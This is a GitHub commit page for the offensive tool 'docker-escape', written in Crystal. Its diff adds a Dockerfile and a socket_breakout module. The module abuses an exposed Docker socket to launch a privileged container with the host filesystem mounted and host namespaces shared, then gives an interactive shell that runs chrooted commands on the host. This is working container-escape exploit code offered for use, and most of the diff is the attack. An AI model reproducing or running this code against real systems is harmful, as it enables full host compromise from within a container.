-
Notifications
You must be signed in to change notification settings - Fork 17
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #7 from PercussiveElbow/unix-socket
Static CI build. Move to Docker library. Unix socket support.
- Loading branch information
Showing
11 changed files
with
124 additions
and
167 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1 +1,2 @@ | ||
docker-escape | ||
/lib |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,9 +1,16 @@ | ||
FROM crystallang/crystal | ||
FROM crystallang/crystal:nightly-alpine-build AS builder | ||
RUN apk update && apk upgrade && apk --no-cache add ca-certificates | ||
COPY ./ /app | ||
WORKDIR /app | ||
RUN shards install --ignore-crystal-version | ||
#RUN crystal build --static --release -Dpreview_mt --error-trace /app/src/docker-escape.cr alpine static+mt broken | ||
RUN crystal build --static --error-trace /app/src/docker-escape.cr | ||
FROM ubuntu:latest | ||
WORKDIR /escape | ||
COPY --from=builder /app/docker-escape /escape/docker-escape | ||
COPY --from=builder /etc/ssl/certs /etc/ssl/certs | ||
RUN useradd -ms /bin/bash notroot | ||
COPY ./ /breakout | ||
WORKDIR /breakout | ||
RUN shards install | ||
RUN chown -R notroot:notroot /breakout | ||
RUN ln -s /etc/ssl/certs/ca-certificates.crt /etc/ssl/cert.pem | ||
RUN chown -R notroot:notroot /escape | ||
USER notroot | ||
RUN crystal build -Dpreview_mt --error-trace src/docker-escape.cr | ||
ENTRYPOINT ./docker-escape auto |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,17 +1,21 @@ | ||
name: docker-escape | ||
version: 0.1.1 | ||
version: 0.1.2 | ||
|
||
authors: | ||
- your-name-here <your-email-here> | ||
- mil0 (mil0.io) | ||
|
||
targets: | ||
docker-escape: | ||
main: src/docker-escape.cr | ||
|
||
dependencies: | ||
docker: | ||
github: PercussiveElbow/docker-crystal | ||
branch: master | ||
net_sample: | ||
github: arcage/net_sample.cr | ||
|
||
crystal: 0.35.1 | ||
github: PercussiveElbow/net_sample.cr | ||
branch: master | ||
|
||
crystal: 0.35.1 #targeting 1.0 | ||
|
||
license: MIT |
This file was deleted.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,57 @@ | ||
require "http" | ||
require "json" | ||
|
||
def socket_breakout(socket : String, port : Int32 = 0 ) | ||
section_banner_green("Socket Breakout") | ||
puts("==> Attempting socket breakout via #{socket} socket") | ||
client = setup_docker_client(socket,port) | ||
client.pull_image("alpine:latest") | ||
puts("==> Creating breakout container with host filesystem mounted.") | ||
container_id = client.create_container("alpine:latest", Cmd: "/bin/sh", privileged: true, net: "host", ipc: "host", pid: "host", AttachStdin: false,AttachStdout: true,AttachStderr: true,Tty: true, HostConfig: {"Binds": ["/:/hostOS"]}) | ||
if container_id | ||
puts("==> Created container: #{container_id}") | ||
client.start_container(container_id) | ||
puts("==> Started container: #{container_id}") | ||
puts("Started a privileged container. Sharing net/host/ipc namespaces with the host OS filesystem mounted. ".green()) | ||
handle_input(client,socket,port,container_id) | ||
end | ||
end | ||
|
||
def setup_docker_client(socket,port) # unix socket seems tempermental - getting broken pipe exceptions. Quick fix is just to reinstantiate the client after each exec request | ||
if port > 0 | ||
client = Docker::Client.new(socket,port) | ||
else | ||
client = Docker::Client.new(socket) | ||
end | ||
client | ||
end | ||
|
||
def handle_input(client,socket,port,container_id) | ||
while(true) | ||
puts("• Enter command to run on privileged host-os mounted container. \"exit\" to quit the shell, or \"cleanup\" to exit and delete the new privileged container.") | ||
command = gets | ||
client = setup_docker_client(socket,port) | ||
if command && command.size() > 0 | ||
if command=="cleanup" | ||
client.delete_container(container_id) | ||
puts("==> Privileged breakout container #{container_id} deleted.\n".green) | ||
exit() | ||
elsif command=="exit" | ||
exit() | ||
else | ||
puts("==>Sending command \"#{command}\" to container: #{container_id}".green) | ||
begin | ||
exec_id = client.create_exec(container_id,AttachStdout: true, AttachStdin: false, Tty: true, Cmd: [ "sh", "-c", "chroot /hostOS /bin/sh -c \"#{command}\""]) | ||
resp = client.start_exec(exec_id) | ||
if resp != nil | ||
puts("==> Response received from #{container_id} received \n") | ||
puts(resp.yellow) | ||
end | ||
rescue ex | ||
puts("Error when communicating with Docker socket.") | ||
puts(ex) | ||
end | ||
end | ||
end | ||
end | ||
end |
This file was deleted.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Empty file.